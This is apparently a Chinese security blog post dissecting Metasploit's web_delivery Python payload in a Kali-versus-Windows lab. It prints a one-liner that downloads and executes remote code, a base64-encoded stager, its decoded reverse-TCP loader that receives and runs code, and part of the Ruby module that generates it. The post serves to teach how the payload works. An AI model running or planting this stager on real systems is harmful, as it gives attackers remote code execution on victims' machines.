作者:Szrzvdny(即刻安全)
如需转载请联系原作者,并注明来源!
攻击机:Linux Kali
受害机:Windows 10
Prat 1
今天群里的一位老司机装了一台公网的kali,我厚颜无耻的蹭了
然后测试反弹shell的时候发现弹不到shell(当时就映射了80),各种测发现都是坑QAQ
于是我就有了一个大胆的想法QAQ
Prat 2
大胆的想法!
- 他的payload执行了什么?
- 他的payload是怎么来的?
首先配置一下web_delivery模块,得到一个payload
他会得到一个payload
python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:8080/c0DklT82AcnaPH');exec(r.read());"
访问这个http://127.0.0.1:8080/c0DklT82AcnaPH
发现他会下载一个文件,打开看看
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNzc3NykpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
发现有部分是base64编码过的,解码得到payload代码
import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('127.0.0.1',7777)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(d,{'s':s})
直连测试
既然得到代码,那么我们可以尝试下使用pyhton直接通过socket连接msf呢?测试一下
发现获得了一个会话,那么是可行的。
payload的由来
当然,我们需要理解他是如何得到这个payload的。
在/usr/share/metasploit-framework/modules/payloads/singles/python目录中可以看见他的模块
我们看一下meterpreter_reverse_tcp这个模块
ruby不是很懂,只能大概的理解一下意思,这段为生成payload的代码
def generate_reverse_tcp(opts={}) socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" opts[:stageless_tcp_socket_setup] = socket_setup met = stage_meterpreter(opts) py_create_exec_stub(met)
在看一眼上面的代码,就很明显的明白了。
总结:
用一张图片概括~
本文算是科普不喜勿喷~~~(还没做扩展性操作)。